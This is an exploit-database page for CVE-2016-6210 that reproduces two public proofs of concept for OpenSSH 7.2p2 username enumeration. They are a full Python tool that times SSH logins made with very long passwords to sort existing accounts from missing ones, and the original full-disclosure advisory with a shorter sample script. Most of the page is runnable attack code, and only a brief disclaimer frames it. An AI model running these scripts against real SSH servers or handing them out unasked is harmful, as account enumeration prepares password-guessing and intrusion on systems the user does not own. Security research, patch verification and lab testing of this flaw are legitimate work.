Skip to content
Appaloosa Scout
Language selector
fr en

Materialized exploit

CVE-2016-6210

MEDIUM

2 public exploit(s) for this CVE, 2 materialized with their code.

For defensive research only. Only test on systems you own or have written authorization for. Unauthorized access is illegal.
ExploitDB remote linux
Source

OpenSSH 7.2p2 - Username Enumeration

By 0_o

How to test this exploit

Remote exploit. Target an isolated vulnerable instance (VM/lab), never a production system.

python3 40136.py

Code py

#!/usr/bin/python
#
# CVEs:                  CVE-2016-6210 (Credits for this go to Eddie Harari)
#
# Author:                0_o -- null_null
#                        nu11.nu11 [at] yahoo.com
#                        Oh, and it is n-u-one-one.n-u-one-one, no l's...
#                        Wonder how the guys at packet storm could get this wrong :(
#
# Date:                  2016-07-19
#
# Purpose:               User name enumeration against SSH daemons affected by CVE-2016-6210.
#
# Prerequisites:         Network access to the SSH daemon.
#
# DISCLAIMER:            Use against your own hosts only! Attacking stuff you are not
#                        permitted to may put you in big trouble!
#
# And now - the fun part :-)
#


import paramiko
import time
import numpy
import argparse
import sys

args = None

class bcolors:
  HEADER = '\033[95m'
  OKBLUE = '\033[94m'
  OKGREEN = '\033[92m'
  WARNING = '\033[93m'
  FAIL = '\033[91m'
  ENDC = '\033[0m'
  BOLD = '\033[1m'
  UNDERLINE = '\033[4m'


def get_args():
  parser = argparse.ArgumentParser()
  group = parser.add_mutually_exclusive_group()
  parser.add_argument("host", type = str, help = "Give SSH server address like ip:port or just by ip")
  group.add_argument("-u", "--user", type = str, help = "Give a single user name")
  group.add_argument("-U", "--userlist", type = str, help = "Give a file containing a list of users")
  parser.add_argument("-e", "--enumerated", action = "store_true", help = "Only show enumerated users")
  parser.add_argument("-s", "--silent", action = "store_true", help = "Like -e, but just the user names will be written to stdout (no banner, no anything)")
  parser.add_argument("--bytes", default = 50000, type = int, help = "Send so many BYTES to the SSH daemon as a password")
  parser.add_argument("--samples", default = 12, type = int, help = "Collect so many SAMPLES to calculate a timing baseline for authenticating non-existing users")
  parser.add_argument("--factor", default = 3.0, type = float, help = "Used to compute the upper timing boundary for user enumeration")
  parser.add_argument("--trials", default = 1, type = int, help = "try to authenticate user X for TRIALS times and compare the mean of auth timings against the timing boundary")
  args = parser.parse_args()
  return args


def get_banner(host, port):
  ssh = paramiko.SSHClient()
  ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  try:
    ssh.connect(hostname = host, port = port, username = 'invalidinvalidinvalid', password = 'invalidinvalidinvalid')
  except:
    banner = ssh.get_transport().remote_version
    ssh.close()
    return banner


def connect(host, port, user):
  global args
  starttime = 0.0
  endtime = 0.0
  p = 'B' * int(args.bytes)
  ssh = paramiko.SSHClient()
  ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  starttime=time.clock()
  try:
    ssh.connect(hostname = host, port = port, username = user, password = p, look_for_keys = False, gss_auth = False, gss_kex = False, gss_deleg_creds = False, gss_host = None, allow_agent = False)
  except:
    endtime=time.clock()
  finally:
    ssh.close()
    return endtime - starttime



def main():
  global args
  args = get_args()
  if not args.silent: print("\n\nUser name enumeration against SSH daemons affected by CVE-2016-6210")
  if not args.silent: print("Created and coded by 0_o (nu11.nu11 [at] yahoo.com), PoC by Eddie Harari\n\n")
  if args.host:
    host = args.host.split(":")[0]
    try:
      port = int(args.host.split(":")[1])
    except IndexError:
      port = 22
  users = []
  if args.user:
    users.append(args.user)
  elif args.userlist:
    with open(args.userlist, "r") as f:
      users = f.readlines()
  else:
    if not args.silent: print(bcolors.FAIL + "[!] " + bcolors.ENDC + "You must give a user or a list of users")
    sys.exit()
  if not args.silent: print(bcolors.OKBLUE + "[*] " + bcolors.ENDC + "Testing SSHD at: " + bcolors.BOLD + str(host) + ":" + str(port) + bcolors.ENDC +  ", Banner: " + bcolors.BOLD + get_banner(host, port) + bcolors.ENDC)
  # get baseline timing for non-existing users...
  baseline_samples = []
  baseline_mean = 0.0
  baseline_deviation = 0.0
  if not args.silent: sys.stdout.write(bcolors.OKBLUE + "[*] " + bcolors.ENDC + "Getting baseline timing for authenticating non-existing users")
  for i in range(1, int(args.samples) + 1):
    if not args.silent: sys.stdout.write('.')
    if not args.silent: sys.stdout.flush()
    sample = connect(host, port, 'foobar-bleh-nonsense' + str(i))
    baseline_samples.append(sample)
  if not args.silent: sys.stdout.write('\n')
  # remove the biggest and smallest value
  baseline_samples.sort()
  baseline_samples.pop()
  baseline_samples.reverse()
  baseline_samples.pop()
  # do math
  baseline_mean = numpy.mean(numpy.array(baseline_samples))
  baseline_deviation = numpy.std(numpy.array(baseline_samples))
  if not args.silent: print(bcolors.OKBLUE + "[*] " + bcolors.ENDC + "Baseline mean for host " + host + " is " + str(baseline_mean) + " seconds.")
  if not args.silent: print(bcolors.OKBLUE + "[*] " + bcolors.ENDC + "Baseline variation for host " + host + " is " + str(baseline_deviation) + " seconds.")
  upper = baseline_mean + float(args.factor) * baseline_deviation
  if not args.silent: print(bcolors.WARNING + "[*] " + bcolors.ENDC + "Defining timing of x < " + str(upper) + " as non-existing user.")
  if not args.silent: print(bcolors.OKBLUE + "[*] " + bcolors.ENDC + "Testing your users...")
  #
  # Get timing for the given user name...
  #
  for u in users:
    user = u.strip()
    enum_samples = []
    enum_mean = 0.0
    for t in range(0, int(args.trials)):
      timeval = connect(host, port, user)
      enum_samples.append(timeval)
    enum_mean = numpy.mean(numpy.array(enum_samples))
    if (enum_mean < upper):
      if not (args.enumerated or args.silent) :
        print(bcolors.FAIL + "[-] " + bcolors.ENDC + user + " - timing: " + str(enum_mean))
    else:
      if not args.silent:
        print(bcolors.OKGREEN + "[+] " + bcolors.ENDC + user + " - timing: " + str(enum_mean))
      else:
        print(user)




if __name__ == "__main__":
  main()
ExploitDB remote linux
Source

OpenSSHd 7.2p2 - Username Enumeration

By Eddie Harari

How to test this exploit

Remote exploit. Target an isolated vulnerable instance (VM/lab), never a production system.

Code txt

Source: http://seclists.org/fulldisclosure/2016/Jul/51

--------------------------------------------------------------------
User Enumeration using Open SSHD (<=Latest version).
-------------------------------------------------------------------

Abstract:
-----------
By sending large passwords, a remote user can enumerate users on system that runs SSHD. This problem exists in most
modern configuration due to the fact that it takes much longer to calculate SHA256/SHA512 hash than BLOWFISH hash.

CVE-ID
---------
CVE-2016-6210

Tested versions
--------------------
This issue was tested on : opensshd-7.2p2 ( should be possible on most earlier versions as well).

Fix
-----------------
This issue was reported to OPENSSH developer group and they have sent a patch ( don't know if patch was released yet).
(thanks  to  'dtucker () zip com au' for his quick reply and fix suggestion).

Details
----------------
When SSHD tries to authenticate a non-existing user, it will pick up a fake password structure hardcoded in the SSHD
source code. On this hard coded  password  structure  the password hash is based on BLOWFISH ($2) algorithm.
If real users passwords are hashed using SHA256/SHA512, then sending large passwords (10KB)  will result in shorter
response time from the server for non-existing users.

Sample code:
----------------
import paramiko
import time
user=raw_input("user: ")
p='A'*25000
ssh = paramiko.SSHClient()
starttime=time.clock()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
        ssh.connect('127.0.0.1', username=user,
        password=p)
except:
        endtime=time.clock()
total=endtime-starttime
print(total)

(Valid users will result in higher total time).

*** please note that if SSHD configuration prohibits root login , then root is not considered as valid user...

*** when TCP timestamp option is enabled the best way to measure the time would be using timestamps from the TCP
packets of the server, since this will eliminate any network delays on the way.

Eddie Harari